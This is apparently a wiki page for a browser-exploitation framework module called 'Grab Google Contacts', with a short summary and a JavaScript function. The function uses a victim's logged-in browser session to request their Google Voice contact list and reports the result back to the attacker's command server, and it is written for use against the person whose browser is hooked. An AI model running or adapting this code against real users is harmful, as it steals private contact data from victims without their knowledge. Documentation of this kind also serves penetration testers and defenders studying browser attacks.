Clone
Module: Grab Google Contacts
Haoxi Tan edited this page 2020-01-10 15:52:48 +10:00

Summary

  • Objective: get google contacts

  • Authors: Kos, antisnatchor

  • Browsers: Chrome

  • Code

Internal Working

sends XHR requests to a google voice url. If the user is logged in, the list of contacts can be obtained

Note

This can run on normal javascript, does not need extension/plugin privileges.


function grabContacts(){
        var client = new XMLHttpRequest();
        client.open("GET", "https://www.google.com/voice/c/b/X/ui/ContactManager" ,false);
        client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3");
        client.send();
        if(client.status != 200){ // if the victim is not authenticated in Google, a 403 Forbidden error is received.
            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'The victim is not logged in Google.');
        }else{ //proceed
            toolContact(client.responseText);
        }
}

Feedback